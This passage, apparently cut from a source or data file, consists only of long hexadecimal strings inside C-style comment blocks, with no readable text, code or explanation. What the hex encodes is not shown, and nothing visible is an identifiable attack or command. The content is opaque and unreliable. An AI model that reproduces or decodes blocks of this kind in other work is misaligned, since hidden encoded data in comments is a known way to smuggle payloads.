6d1175b681bec6e108d3fda24e655015942ce7ff988f6cbb5b46dcf5afefce201d6842918b72f215361dc0eee746612c5683feb5a6b576d1605759d9bdfc4edae4015f18045f259a6cd418b3501a8e65fe680901756e3ba79c244f558217cba92cea85aa196181efd0d1ced0d0092942cbd44f60f68280e69ae6f41ba2e273d0689bd81e52c3e876fc2d38c8a3fc7952c4b6c6f2fd33ff6c0fe59d44fb87d2d89d5640680c2eeaf9c9caf8479c57ee0df7c8a1eb8004315ae4089523b0e17b9e3ade01494e25b17063ad4aaade332c0660db2e8b00cbdde8bfbcc69f318a369070ed9329f0c9fb169c121b113efcd5521249f17bc9a393eb830a974e61b5a8fb79d2db31be79df50b0f969b70b7bb388467af3a2922ba141de8d4c243fe1a615371fa5c45f2f6133ca0ee941b2fcf8553a85ce9af6e19b571e7dda947db8a5d0e670cdab1e14725e190aa2ebd07df2124ea44ff32bd1f77da5b6fb9edf3b2e932b49e35aed61c6a3aefc482283ad854179730a111d66073f006b069ff68fd632187060f44eae8d26886b5e7c510e3b234e44f70fb902340d6d3d927e3a52739919090082b45301c939db21046b2c9f51fcf7f96cb0a10f6ba2d611856170d743a60e89c1764c8753a0c9a1145525376b4a389adb70f7b02791d1e3a7959896c544161c677b9d8e1a5dd93f89a3cb*/
/*d5439a060bb2b2cf7d172d93be670d4791fd1ac9951e88bdf3760781fb2923ef7e269a8125fc17dba8c5f1db37d2506c0ac3a1e4d0ab4d0e76cc45ef6635066b6454f2ddc3db1b56ef96b2e9c4fdf4d5ff074fccfe4f2c5de79f42607cd39f305f0271822d95f32f67f75af76b8f1e596841448d61ba36b1f10096815d57daee772ed2a5d7b940e56189f83eb50e068fb08edb2928ac2f31bad29a5a7219625d9b893117e16b3c70dd7fe2d6ae03370e03bf0917e1f7a72b3cc0b56c847744ecaf323fb27a43c244645d3b02a36ea7bb253035fc1e18e0fb043ca92bf77b7166cc044b747ca72990be502ff86cf9fecf97af1a15372a718f2cab9e805c4a4624d8a91d727675260302a9804e52366b396de6125bd123a71202747cb86408268c4d9c696251362725dadad33c459faf3deb7c66b8ce1699c67e3f6130716ba5b67ba6ba7b287d4b2a6e739e16d9380a83809796d266fd7ba454b0ea712e2d393438cbf04d90f30c7cb948e8792dc6a234a85e249337df1b8012b9c58a1602897d84637f16cf6b41de27beaaaee4b4a34aa24f1e9a442a59d377e391358125f27936df0a030d451c173a298d88103a0cba8a88d068c66840f73244905af73c42a9b40fee0b0fd73664daa6e45bf63e752ebce434b9b8f31f2e2089f2882735d4a6d3b42c8b172590929f7fc3fca011fb0c1efb2c633e207f5ac4cabcd70de7371807a087676e1c3b4f9adac9af46eb5a6da0079b87a130b6608f71f40738d897abe9c193dd882a660819aa12f51ac7f10775173cf71775081ba444ea103bfeb8c49f58a05674fdf8c39a6463c132f65ae154cf3d88eb64026aa2884c9bd7522c74b188f25fbfc95b46ebc169d62a8c29a19f68bdc05341ee82d2379016b25b69e68e9f2a16c0fd6c887154d0231e017b3ce043cae397d37f6bde64ea2b73f4b9542cef1591ae6d8531d27934cf8714df94a6f384e3b5caea20e8bc2a5eec19b9d6e87376db7bbcdeebd8eebd74840b737f43d15065fad7d0ee3cb593ef8c32aed0362ea2b178d378f35f708d171c5a03a790c3b981d16a24fe99605f1e67ee3d5e465b88f99d4e36ef6c3eafd41b225aa0cddaeec59e36249f05827aaeaae2a488552742288f3356b9ce1e54030fcaba3ffa650296fc45b45d153da025e664c50c25cd38be84d179f8c4e40d0dddb52a7f794c76d10b9654dd93bf157b1dde1dd4b80daea2175658eed814b905f56fb33e0f693eb361f777c74be854bb9cb61466857fe8aa1ff5a584977271853c56605587ad5a2925902c78440a06e97a5dbb092cc36c5d22e971ea1b7279adfe14b0d9abe9035536f155b7aabfdcd837827c102414bda65a91724db7b241d0aeafaef1c6da76285544bef6d11d1a6237ae7d2c6ca9173172eccad38f78bbc4fb89505276cdfe0b718f624298a87abd07297dde99fd13eb7893b64606913c381ecfc71196516392ff5fd8209000f8b36b7b57c924ec47ab9a776a2f95e7adf0af8bc08838896cc78cf70f991eb41b6d590de14b63522fb435765f299e67eb7d36bcb4ee4d96c634046dbadb36f42e82264dc853c3ca1318cfe2c8d9cf047343694837bfdb8dc6b93d2bd2e200ed8ac6c1287ec581e560d7cc0229a35282e0686e75c12218843a941c429896cd9d354751a5494bb4a9ac768d895be6bc7ed6318a16fcfdcf4bddf3f59b9b61b36550db5cb238f61d3d1bcd8a52aa490922e5e1f8981dd5aaebfa8b3a1230b805485bb1a911c6bd592a1858a8d0ffc00b240b8a782b1040bee3117742820209d1de877ccb56d490f19e08564a5e8b624e96373e00ca88292408fbac5476875aa6c88efcb5f78e46c64a2f68551fbbc304048c63046c30c64e1acc533a85efda1681801eb9f32023dd25c4fc6de9be89f11a2c3a8838da19dc73e26c6f99518de44a098a00b6cf882d12fc4d3f04a6512c93e5ce5ba1f658fc3c70dbaf438dd3cdf301cc1f9302381dd2f2d2096f887c7ebafb85787ffbb3a3d0d911c6e68b3c8a4889c4987da5d960e5714a3538d49b45d70fa15cd5f49b4f36c306ae0e70cff78f18fc307f18bc0614b0d8562e79156ce0ea58bcddc266ef0f1281dd77bdc401926065aef25d5e0c0ff06a3f7cd0fb2a568e0d08133d035ce3e760b14299f82912b8e651cc28afe1c8444240556930559e8e5c19b79efb32d3e10b4f0bcd7c724a19dbc5aeab0b9dcc92d772abc8425d8f3fcba365fe71a104ba32bdf90d188812a00f13b24e3fc5ce7c6319f09b993e3632e186ea1bc7bb6455e46f7fa936fcdfdd62fecd4cfdf98d9f6d84ade2ded8fc3f69869bc776d6544010cf0d3118ccfc9e8fc3e0b8dd84c93c7b22eda45c7ecac5884eb74d0512d5b4ca959efefb98efa4814f115d80cf39389c4a45f59438f2e35b883ab79139bb3fb2a9abc56a3cd8ae1b286bbfc68e6b30f251e6edcc0f80430d21d20c6b949818ba25ba93985ed185f464e3daf90c65f3814f17752fd1b26cb94398652efb88b8751bb1ff427ba9e4abca4d1a9c26a3c9a667bcffcb314cbb71544b535d9ee6442fd0cb99d587751f597d49286f035507273909045a8580b47cd0a725c27c381e7016126b3756ba713c6112c0458858726b2b8850055ceafedb8086fe7341fc763a56f91d1f869dd82d266bb3b092a0932f38f0203b63cf5c43a3b16018ff1a4bba28eebb0561b6ea6d7185043cc08144dd8defc2dd2481ad8146b47d5a75e5de32991dc3bd9dfb89dc9bb48c6b2c4ceca8592f26a14e6d88f5f1e1b9426d38dde94efaedac06220b328b1ee688bf902a1e28f7066644130fd3dcea5061*/
/*e6f61d1192c903cdc3e6ebe5d85bab8ffa83827a28ef120324f174ad61aaf7032264c120cb5b6540d0e22faa4478575f6ff883c79857f19d9ef960963e8ca26c225e7ae88df8257b23f85809d2d39ecddab915c9cdd6a9475f4d4914332d497de6f436bd72f6451276aefceff6d7cd9fd83336ac04fa3f5736922ec0f099119d3b8ea1cfc2bd537e5c0c728dcf2838bd6fe885c4d3b015ed0ce5f489d58899a503954a4d4b00bc780b548ff2880cb7f5eb52c98f6576df633a21e125e4239cd72ec35acd108dbf8cb84aa4bbe696afc6e0833b733c04495d6aa6fd2d03dc7c436a2129a0a190ea040ea8df652b6693ad49a9f6f9a2cab260ac2447b8cc0792f079469ce6d70514450749cef085c1e2a3f935181ef554a09811621cb342ee762c13f728e445684d62254505cdc57609db3de33c258a7eab221a036f519baabe7aa3d1ad2ff4ee1f5766bb1b7f902cbe6fdd4a981308c1cd07c5204a232096bb412e54981acb64e98bd2b76cfb0e70f3c43f8a869140e3788325c5970714b99d70a1e2c404ab4551f49b004f172f5985f0c2dda4f607e9d1fb915aba23869d21e70d79f94f03abd64ad57071d0ef8c13ab9038e8368d2c1fd1ad6df9b874df4ab933fe46a1f50ee31ad4f02a793ce8ef8fc8a23bf4d1bb6d29ded94a1ab227cb48e38593d2124392b8e38afc1f16d0622a2568d9707a9b0b2c760555527d9a9b97e7873ab9cbea2dc555851483a2a7d417f674294a1f2d32c7910a98407e7bc28035c3d13e6357cb149e5c4d3f371c723a8392c311b8ac7c94cb7a7a0126f3985638fa7edf3c8637dad65396ed68b72108433e097fd6436bdc4bdbd27e8eba7c863e2ee68195bba618cf0b0846b96db607628b5bd3b9784d54a864400ef03fd522aa71667d32d0775d257a7eab5729b98a1cc333945bb9281389a0e8886af868c19da7f5778e4bdf7d46031310ff7a50dbd6ffdfeefa26188b01718fc43086fa35cc85ed5b199ed9074d0bdd5da05285a4890bea699c6888e8168ffda78a6b4164813ce94c593a4afca00e08d18b4f7b49999df72cc5241687192668d2f440427f1885461a28c8772adcd0ca12552bc47e4cfcb59788df6887f384f0465b432dd921df9f0ef753f1f3144dc5fb0a21ec6d0517597fb061e47e8b619a0d3340b25bdd46785c9c0dd62b5448d659d252644cf698dd2b683d55fe9b57c5b1a724c330c7e48e644496546a38fcd114162fadb9104d006e0a2f4e6315cca34e39aa99d76ee714d414e774fca9191f1712c37ce5641c43b732619282d3b83e91dc3789c44666118d968f6b3492414447995521d5dddbfac9f2c5d33d9cc9d2a73af18e4493128d42d7015488217cfbac6fbc53fbe36f78ce1974f660126b09bfa86bd3e669373a61f41f149f5067d13d93f1e4d0c29b44d003f7beb91b2f7c45952fd44389592d5267e4e550aa14d0d92b76502b388aaea9b9654b3c66b92e325003519c4282570ce4444ec5d0bcb80a903b3d3c57bfbca591fab563f8f2a86556a206ed4992fa3cdd6fe6be869b4cd41e5dd04ad3db0989f17df3c716df389aa2a5da440fe96ab1a00a982cdf10ffbb204518b5288c4e517adfa01db274613be2cf882b7a49ed9b9567ee34f50157a50419922dfdc5e4147ac2ecf328e3b3087d1733e2af16f7c2c613edeecc3b04989dd06e81c5787ffdee2446a42e250d3a60d14f9b721c67ced8d9f7a2378b6a0897ea155d7a8e98c999b5daf2e0e91e8d8d9d4b5ae301e3b180301b01093ec3cbb2a9e4d17e778c7a62b0cc0f1f4ab4a285ae6241802da31bfbffa6e0a713f402313c83c0eea30fe9dce21d403d42154c99d3812f18b7c69cfbe57b33d17516a4b50c086603c5d814b87ecc46abbf2d93766e94c16f221de460ca64bfcdc0af4541154634e3b7efcae6b548ec1c89dff1e8bc81927a1fd9a56304a3f1ecd692c66fa0a17042ed6581bfa96c8b16c960e89f5df87f95510f801f50b01aa87ee8fa478e1deae917c80e1551d60729a10286e0d4eb9bba6edccba9d398c1fb218c8ea4e478d53b27bc796fcf2a92cc1f8520433f9998b73791b1e90d723edf382064b2014e819067d69ecbc4a83be1d975b3d2ceb6f384c254ec2661e3286f1101d836eb78c2eef3da8823beda6afc914cb58b71f7bdaad06edb14e9f02b0e9cc7140837e20221b70fa0f22ef7cbf87ae7c68765432729071a6b7d652821be2b08c402bb690d4eeb0a572c7a417b8f31220c597ce116423e25fedc2fbb14b0c7f634071e89d6817a8702c518a81e6294fb558f14f303930d1a55e69933d4c86f5b7f6bb8aa2a28d43b70787371d115ba7a2b8c50c3af5339981cfcdf102d76c8d59d89a42aadb1da27280e0cc605318115448c0d0f935704fddee169674973230d7f6b988e0827d97318e26699a8e87c7fa61d80ed06fecfb9cef46083728c5eb9de343e322f3e98de812b8d946205926c112ebb56c4d3121e20815e930e85b55acfcb5de5beb004617461ef1e4db5a23563f65c2c0821f9d2ba536b946962c3a50def094ed5f0acd08a2045e6f0687deb23cc0cdf70fa68df5d2112d6729b6d64f3c31506df37f2250ff883dba3068af9170891a4cd4d4c0c2ff4138d457cfb1c1e93a686af1b4d29bc61025c2226b848c426f5819c0a64db9b3356f35c355408417354437fb8e54156beee68b5e14044565844bebcbf5c248759d654eb93eb973fb39b85dfb5f5c93d91b1ebb2ee6e00e3097fd449c509e3e5c9e8888d7e81f2ebc65c56f93a985672109a411b3728fb66aedb0951bbcf15331e0748f7a3a6a533469b715c*/
/*88e1743d2fe33d40783e4cbc409e81b79fc7a4ec651937ce5eaa4d535eca50c395e8c832197569d3c80eaeb124d13603bed2b978bd7e3a9036be05ba0d01b39a6a49b377f9e004666c6bc146e7948f390484018c90b0381f6e8f2346570d1c0f31117c7f1870c4d286cfb8e762be1983a57574feb53a3a84a559067bb50c77e735d4f5de11d91d384b3230f3a4f23acf48c2d08d63490dc90ac706374b231036937ebf623f4e8f208eeb5473a73e90d3e591015de306d1cb70ac2cbca609cb3e31cf41f550f1d9f097f5ba25431636e7387e17848e89640410a5c5db8821029b003bc650e0dca0582d1bfd8480c80c72c9174336025ac0629e793d4f50d1484341392c7d48afecc0aa02771c9c2e98004942522899bd54562803d1762f35da37a628ad2540605f8483e5701c254d21217e2d0c5564605622233d6120de4a23b5b717d4d999e5b62e9f9d3b65d7826c6d03f0f4335c6589e8e93203e35b02c1a013cbd90df4d792621f83f22fbef197f8eec4c8f6e182931df5e0439bc985fbebf5dd9f6b4f541bf1648e962dda9ee77afa3ed8bc524486c1de4f356eaeed8897f8dacb0d90a8e2802d0cfb04a6d96f78b31162215c50461df6e7602502dc363967bb45553785243bf123f8fe53ec89d09732b5b11209b5fbc00c0d3b04b29710343877b91c1f415eea9511a1d8089d90ee997b15d0136412eee8756d7560079e66bd46e2843794f005beb3f46a817e1a19a8558d1220454957c64d5e07d48685d2f6551633b51148bcbdfd136d0659d1a623bf06902cee799baf67bdc2c366b32400e51acfd79fb2e2d0cdc8b071510b9915d9910b2847ca127e9818bc54d4061d813448e890f88caa032796ba232247f5dad27b71831c3bd2c3614bdf7313632ca2ff6e7ede400b614aaac3c80978d373cabbcdf82040ac27c16edd6771257740a0f63707b65c2560f7d7dafb78c5711d5f8685e17c34b9a3ddc0d1907ba260e25a65ad0f37577eca3d859fb6d2ada693813b6c3a1de03e5655ecf392bfd8c0464f579d587456e1cc6fba8fef18899fed23bcf41d38a84ff7d7e38125d0fce12b40ef15d1b8bed833d9e7773ebafffd31ebae99bffc042141480ce94fb92820cd89a06b3733d6e048df48bf12d2956ebc2c6b41ab52942fabd8fcf720a524209f1fb0e4fbf8f062b43980b492457fbc9779964e532d8365d820cdaf0df0d88b26c9436f6b6831ac8ab10aecc58fccf10fb40fa6655490d3a11535412668a9689216e532497e899e4d3b7a2dabada8a83cea805c230c153eb79e534fd0e6afe8e16af0d01d4fa3bfe852d8cde07bfd10f20d38f39235816ff14eefb4fbb69d456f8bfe4889dc96bca17655c3e39301194d570fd2371dff57f379ee750333d120209e8951461218acf47f6b844482030ffd4a030d152abacdff99eab53e213389bf40cda649045430a5ebf9d17de2f73b91ab1bc5d262f54cbaf7b4f911d4d5cf1018ca2c31fc6285e688042bd52ace7685705cfb30dfaf5d40721d3736ea25f1eed201a335d3871d9b9bd3fbe3fef982bd926c6370c848cebce556c8cb55963a500fa29b4085d6e1f9f4abc0d0e122360bda0cd8ee7c24c5ec6a355ed8e49981eaa4385364fd88da79fb330c77c194ad8a6df5ab6d8464216487e08a71fe9548d96f633f4166f279ea1e14f565629c48917e1fb249ed3f952b9515b48beaf8c92a1b6ee2010ca8c5f9ddda1f3128e817a21608f15e8e467f83b825e5aa5beac1b3294ec2441ea76a586f62ee3ebdf73e41ae61724aa1b2f94f05c02661bd55d5fc2aed6d735fb4f2c0791d40875a83004287bc6ff4a4964d722425cc47201d77e64fb128ee791a5cc2c3cfb45c0ea0fff8c6c97c78fc2d118db0fcf9612c2997bccf8c6596fd015a8eb7190fa2e38e4f82460f3a4ab10a89ae04c7d9d5ec9ee381772ff3cc7edbcbbae25c1727f17425ed669065fd2ff9c948a6ece61d2d308cff8b0d6f092ecf1cbc7f53ee33ec802a6c5a93e50b787de21bcb13759ef31a76726863c264d27c6e3c713c02890a220a4764455dde95ffdeca456613034f7c0b47b2306b50599d6e4a86c63a5384fc5557aa54259c14bfa17b9b22ba340e71d30dabab9056f13ea8f6e2a27765337118da25860ff4b8c6974d9c8f068dd29996549c0bbf629a44447e59d885afb5c62af5399972e97f7b4e8d85ecaae6863b2024664a25d988a6df4a6752e83ccc96d37c1bb3ea2e0634c79556e1d2511921c82a486761e47b1bc33a062113a4302d3ecf25f79aae91e5faa35203ba6e6ad5a794d19db75bc3abaf01adc9749f6cbc937c65546468c621690011fc10f0a1b2897f1fdbaaec615c57dca08eb11854b1081bf916124ace60101be02e758d46da36b37e1abbb3221ee37e3789599325f6c8b516711af610f9e9a304e0e91afb36dfe279c0f023b7ac02d76f9d783dde9cfe949e24641ce54bc729ac9191679122664e47971f3d5470b4265fcca061508a1be1ce173b2f97270b30d624717c557ec1aa31f94eae1a469d121c0b2ca7bf036bd6d2421c6143198ab8866c7b2a55b8484608953142d0369c71d01eb2f02764c5459ab41dcda2cac8b633e94e4341a89fd3dabce7d1af92917574d7941e90fb50412ee89e20657fc7ba49ed54bf82fc385362e2da793b0c7ffa54274e2ec2d5067bf5e02e058d8ebcf7c13bafd93502769926129102d1a46a3edef7c6948a9acc82012ba82e8afb98ead6b4e768add93afc348d4d02a6350d607cf5f141f6590de1a2a88d9595de32416e294756728487f09396c23509c0baa6707e1db740e9be*/
/*625e6d096e8820432f26f9d9230484e922db1f65561a35279e81875f27e5c9fe3636f75bf7e0cafd8fb813f7b997c59b0feddee410d29237eca582d49c3a1fdb1ab157eda63fdeec8c6cb930f521a3c63c4ebae1e18847c9c5498cc04f715a93fc21ef2166b32a56664e3c74f32fc7da21a464cd8bcab4f1aaafa3b7d7dfea914d2c13d7061618598a0cb06075e0db9935ac44c3a30590d2605822a6078d8fe6f39c90f3d7ef25860220f9142604415e6b0060395ef5e9108bff9ea3f776244e99e9bf8b06a20af0dca61f717e08491bb61fd3cbb51418b15be6a3847119a6c30ef4feaaee84d310d1f372c1b8e979b2fd83cbd9b96c32b08f3f7e428be3870adb8a383c070978367ff527a3a66fcb7c0c44476cfe4198efc9168ad757c9e32b66f18d2b315f6e864cbe2b81bbdc0270882537f0a195e540e87af265da3badc4e990b00a43d8a002edd44d4c174ea9bf1976d470a3527c2fc1895eaebe0fcb06d183b676a115ec21fb8d9e5333104ed1231ffa61f2dc2ce3d32e992c5fb5c4354cfab2da4c6c4e599ae05ab7afaebb2146dc98b2ebf0e1df617918650952b93ad672831781afbb94e779d5f4b529adbd106d558a0000ac74090461d47a97690832d7cc45a777f76f047facbf77d492d8d7ab60c0ae80d4803154cba9c4b9f650ac746bfee2e745ef4e1fa27f789799bb195670fca78e1d267ed93bb220aed160d6b4fc0889986d4dcde91f0e7343383fd179eb6b4141aebb952ce51bd624be1c9482d05e360918a53ae6253547622c03cf843c76cadb0b3786ee9d59117d0e5f569803933d0f1319cdf0316bd01c6d111d06d61d1c78ed9bba9ec9f5b77ecf39474c7887a33d2d49cc7ddf95bb9d2ea30ad999f7e647b9c1e53832f9af13f26aa0656d6899fa76dd93fe65ce5b468ea419a14703ac192d9a277dc6d85ef7623cc7572b86d4f0257ad8b7f6aeef5567e0ac87c2e6cb22947fe37212e036b104b2b504dcfba3c6113453326c55088c807a327800b145ab293c50a89bd158027aca964dcffa013ff8eb0e87fcba751acf66c2dbfe3f3c8ddb74256fb588a7d2522dd1567a73dc47ec8160b460bdfe17885da4b7dadb88087485a63270fdf573d85598a5416ef7cca57450d8f49eb51027074b87a8f97816c5c025cf175ecb5a56efee759fee488f3471b9ac093ba2b3888ba0b50413b6c9febfc4b8043b4bb1eecc8372754616cdd34998dfd981a5fb1016c9d38a31c81398449cae227a5ef8cc2b0e3dde4012933f05b5bf7b29f4411a9cb76ed4f968f7c9a4d885a9e432b38cf88526df709df3531ed0639659efd34633f3748e814d6f6e38509bbd368314d2be80a7646beff9f8f69224cff05a59e8eedf71ab95132179881525baa4c5616c9317feb54365e317a30b6a96be56a222ba49546f309e91f1a8b46c0a0ee4ae14bfe6b25203c82b6d56527c83abba3f1f1c2f5b118bc27babb993a4b9d51ae5c8ff3c028c3eb9913ef597800e03ccf8a3b14458dcb944c12ddf736c1bc9e7695bcc8724ee0c21d52a42b5fb45e3c5e596238bb8c4256ef4fd8d68ae968284ac85b7f977d9b03f7a08f701116e9d3693a41490c13bc84942cea7ac31000f4b145475022cf2f3dc60926046860bb8c0f824ed13f202137287501d5e7651d948bc0a1104a7e31afd552d3d8e8ae7eea32f4e225d05880cfb6a58166a0bf17251ed68a287e36b481dcba15bdcd0db47f433fce1d1711fba305e98af346aef04ac0bda337469f8cbb61503e7132036b6a7bba1d44228eb9ef650b932db1e6502b894a3dc4d10e8baf2098d34d43dd57dd0e370d3333580d3431167b38678ee02f94206c907da2bce85af9bd4a703b1390042a8de6affca76d923f1161b08236feb8672a66b8ab7a96720ce268b9d3dd1ffe5b4f7f5faf6afbcc8d9a537ec5ba9b22279917340216f4d1107d1d8c12a17fa11dd22f9bcae87535486390ca37d1fdb3fc065ec93b1e74f0f43ea72574cf3d2defd1fcbf2fe364bac4a32778bd01659ed2a5a92e6c420548284e83a4f1e9b5c3ed8840954e649589c6e5af9ed5cbafa5e1b419a80e16f1ba27674ae22c691e92b4e88502b80a9e5a14f90a76fb22f40c16b8416580868a15772a5591277fba193ae2968c86eb11d56b2e99a534b824e5dadff766db3dad9ba20ee7524d088b31f9705e42e404f7d5f0e5140ff958f71b04aaecb4252d61f8d80cb657ff09900fad23f04d9a40fbf9ac293b79c2a0ddf5a6d6a9783a9079fc259a112772aee229e714d9835354208b99a5a02a084df7556c9d4d0318cd9fd8b8e8d39d3574d803c3c1cf3fb4c007d4f75f48297bd724f1c963320cdaf74a139aa0631f3f8cc8263018365445bb088f56b644fc8553816e33cf9202e5429ba0185fa90c355c13e663f92422ee0efa3931563da9c02ebc9f1f4b010b015b0823305b3fd63fc6a5f53d4c9f3f3478d3c8d889984be47f4dbf66416b7cf9685fe3c14254d7d706cbc4d81e6e1a70aec920ac65be836dee3de1befe71e6a30f9d09ef01343039660c18d67017e110a0e5f72d7cbbec823ebbedbe395e91d5e51f0d8706e45485ca0b94a92cf4ea73904ae0212049bac87b415f9b04a06250e417d2d2794903d00c20e4b70807e14d09fd7bffecdc78dadc2fe442c564570a97b0d8da37803701b6acf2240cb5b3c7967d308596888b8f08238944e25bb31dc188c8b12334c5ec0d47d8e112b7fc4b36f0e1641155dfdf721a48dce573295651143c1b3ff22991d259b088ee9954745027eb52da23032e4c945e3396c8b7b8e94fb9b3cf438c4f8fc546ac468*/
/*38556f5f033dfb9198303ba226c2328fd9be7616f6b20a31f7f58f1321505a7f1872a735bfe42184a9b6488a2eb1b88e5fd80f96b14866685fcc3e5b3ed9625afae725612261487f35f04e195cf788c00738c334816662989d844b77a4529af7165a6cc47e851ab68aa58b86063efc40bbf804838e173215c13bae0d6a07829766566ce0228dc5983ac5a74052bb62c4c013e9d4fcfc6617c6cfa686c5c9a9a0ac2b05dc0624618d03cb38010d3784676dfdeb00cbacc851eefe14728c94c02a4caa956e7b50733bf8bca61269c45989d919c3a660bf66e379e5bd92e7e4af77924a80c65db901f15c4e669fd90fe33c70eb87d67605f2a70f299f7e34627ba2caa2194133619c5446f7ead444b2accd85c737d601cc679c0b569563d89e04c9c5cab5494fe7820e70aaee4bb2339efe7acd3d9feb8584678c9f493434232c51643cf828d453dff9e18dc21c6f3f847acd51ebe4ec5d8a0d50a00381065a8c33c208dee692204d9a68f0a87c2d2722b68596ff117dc3795fbf38f1c670106e32eb416be8dc585160e0c54572ec65e82fe68e2317e23e4b4f18b53df1a13ec9c35c533b8d2e352fd7c2b32274d9c899d4496aba1c9632d0b52eacda04710924e56b749058a8fb7270ee706a318e2cecb573cc7c6bd89d7eec8c18c1b408efe63245ad2b2e35c386b97c9b839ea62934318f6db27f382065baa3ea54060476e07fb1d8867187c134ab6613a1961275bcc009bb834b65b1813eb347b9b7e483978755b06cabbf63fba5a3475d994ccc873c9a6ed9b27a4986671138695212ae413ea4ebc7aafb2dbb3bbca16fe3b48e0b75cc74ecbf34f1bf9c57156b4e047a611dc385a19211bd5a2766e0d17bb28a02a6cb242ea3742ce9494bc5126aeb17d78b102d20ebadd81383e5c90609bc7d2f85c5663189aaa61d1b44867cc2109e6a35d062eab489516d8b7973ef4d425efaff42b0497c74a0be342d3bb11872f89213e4511b50e7c9f31ac07f246152ea2f601203ea6679634af39b24017ed10f4205662352eb8246e0eede2885cce0d83a93f38ac9b0cb23c819a6fc060f20a7f9226161e368f885a11c931159cffb8ee42037107c103fb473a3ed5517c5e0833c390b376d423575cb850601b62e1b4554c02c350930f2e667d1b614ac792806b9c67838e2651f41ca2b9c6bbf62f58d2413e01f5b7cce0e5fdfbea3e0c8617146c61808061645da3b42b72dcfb92dfe13999eb1d6f4e93ba4758beb6faeebbbd3ae111fc995728afb6746896b840377533ddb406e51f6fc01d16626b229e6b20ad8301df383ada6214a1ed1f86e67e872efe46ba5f8a17b8decf26110d1a866fb122982f4137203ed2168019ffc38f38104ceba6685defcaafb9dd399f481e0c4275abbde8db7ee9e24f01a55578b8cd97275656d2ffccffe1bce727387ece634eb0db42b357db21c48102cb254e6c51f5145c40d6d4ef521c48fb478d47a1d5c25f3c4cb5e516ee5d414dbf0ea65b33d17778e4760a0f40f9edc783cda195220f403b296b14b6275252ce08f71a14f96cc4142e32001d168a9f7956d9e14153ed58978d0f4eafc652f950059d7da8ec5316c5c566153da61735d839d9ac04e6e8db1c682009cd3a00e041208dcddb5dcf6eda918fc560687b7daee0072938927ea28f36e77c4b2826b6cf7e434558327a4f92d067102b62856e843a36609682716b8580f6207e1194a3c478a7b33f1fbbef8e84663a17e17cd9273dfc3d560d62865e933ba94bc066bbf553ff772408837ea8b405690f31ccd88d0f9a0be4f78645df824fde6d2ae0049039704bf82fa169d518d2a14c6f838a28a1c21ee472df31c94b2c29bb1880fd42981c63798581835d5a45fe5d97117e961903486b681b7545645bc417c95f5b361197debc99cd563c3ef1406431c2f431317917cca033b93e64e25649105e3f8b579c46ad90a28bbdd4f833760ca0bb9faf967a38f2f3c916fc376fa91def13ed178e67934420e5a64739185a5d13e5514db45cde946f10f064a51d23eaef07b9f979e4a5a5068c5c00dfc7d9a13467c2b8dbec0fbcab223fe12d1c139a387c70cc938c3e67c52b1e994aa767b77b5705c11ad18df20b49b55df37207093ef939178ae0fd020195439ad92c128bce11958e31ca13ffe7ac7060c20dfccaa08210c9f2086b60886ebec86f1adc0560d60373ff3f1845deb8e683092bb7f32a25fec2e1ecb2e26c2fc4dc26564be0951d9288f55c7b2c26ffe74006802a63a938a9defbaf09a56f9ad3864fac85d4aafe2f81adc098bf08538b6801a2c019cffce9814c4f2a3e52b9c1d8255de1c7b07368bdda3d3c22ffcd188a211457ded71cb08848ae5e37aab4c361879bd483c49577c2d065976f7438c636a58d50a80808a9554a8e6fd88eabb37eb797ce583dab8a2f7bee90ad260efa3875b6979cc612b8fbd3593fdbf94592a7f7a8607a346b77d5f9d5cc569b6f1171eae57764ec391f1e5bc4a398028428bb1e38a79525d7503e72b932cc7a527db83f2b0e410f7cd625d8d3309be3e18f18354bb5645d95a36535e6ba0ff65f84cbd7d2d2839d24d283e0cfa462cd0d074bc4f9035fc8ddc98274483e589292bac48b31be842eccd2b45d32db0b4a75cbb5aa4d214f3acdece7841910260b8895bdb740a67b2eab7fc34a5b71990e2924022d6825f1f77bd154de2501da1b5c780c8f4a6199c7dec5295c9ca083b33b86fa285229d847bda2a6f5d6777b614384afb736d23b607d07c07fe1528d03f8a273466c0e4b12304f46a9adc1c182a4448a9154fd17caa21662f9507df0777*/
/*36f1e9f67b744a987a61c17b7ad914c6e511a51e9958633a246369255b26690ee03be38254026f31e7f3f0527b6d3f54e11089338fdce1e98690fa0832cc73ecf1778bc4245ee68b87bee7d1f18e48abcbc689d7026f59958ec929ae1f8c5f698b456e9069a71e5414dcaa79b9fbe9cbc48a21594eb0ffdbed2328f5e70dd9213ca026fed95d775cac213547758a7fe69db2b6938725407fdbf9fab9193b05abd9bb32893beb99ce3161ef1552ff13109aa0b258919061f708cc4856e466cb513b29a38ccad642571bea51e7b657e75238680ade38c3f9eea0e1eb7c4d32bf2c13e687c8d65e867736f540e5bc119a41773d2600a476669bd5f40401edd5e35f3902dc71a661a8f66e9bae26bbfdb0860f200a17bced95073a99ed02aa2c93564813d940940c8195d6d44f142f1cdc623009e15bb4aa6d21bbb7882dbf2abee218ba79fea18656e1e29f2f91735b10a76d41fcffd92ce0b9bc8a94d01ac62ff57d1ab644ad37b2b6d52611f477ab58ca9046f89f7f57e551dffbcbda08b3eda9072ac750d6001b72cce769e02d7a79508e1e0355f696d6213bfb950f60b577ad6eeef7f0ad04b053a9cceee66e76296d6110ee4dc062ab0c97a165c3a7a6656b51c539dc581a64f5dde0975fbddad838f8ebb0ddf690c595c7d91c39600bd7696a06a9db6d85a95e337202254b86426699186790bded812d3f12c1045340fe2f623626abd07e31ae8f807dd21fa46d6fdfa6b23d60283da8823697950c2311f8f4de9c712d013434a933d2bc65bcd1d30f72cb54be6868769aaed8b3aec26e187683c31c894d45d5b5a39ae0d8cea4c750be46a47ca383e54457cd8a2cfbd04a18e7f733131f4ed93054a536c97caf12d0c2cdedfc0fa8efe815a5898033a6a9784d09af314b35c74b8ed62bbef94657e5fa5ef021f49baeaec6295b80fc20a23ecbb68fa46160ecc15275c88556a3cd0508b04d52afd8192927628fd4534a36b8f6d3065e7aa95dd9d119a9016c6794928338648b73876adb7f2b47db4e83356d674b1460faeeff89f6d96d88fa056db5535c7c2ced00fde7f5ac7f58976a27a1781c7002d776eca72f19916470d4171bcea715a8975c95259b998fcf44d861754574df31abe05e161c47541382af844be4fba1d8cc2fa55b12fcd5c093f1ed972754ff5d117fa837c023e88056378e1b913dfc997a402409c41e024d56d4f7db6eadb585cd100b67184cdd7993339b201a570bc121295fd1b6a7c510ff5297b68b127b5d7e2fbc2eaedfc791f84437e4b7bf504f4abf1e6f2c0af61c570643de0c3c7d1f0daa94a446ea0f44ee1b8af8f15e18cdd63dccdc1a0a55dff101625a9a5d59ce85f5dd71a5d7e3e7bc5298c0710b7be228e67ed9c6263868c73e1b4ebeb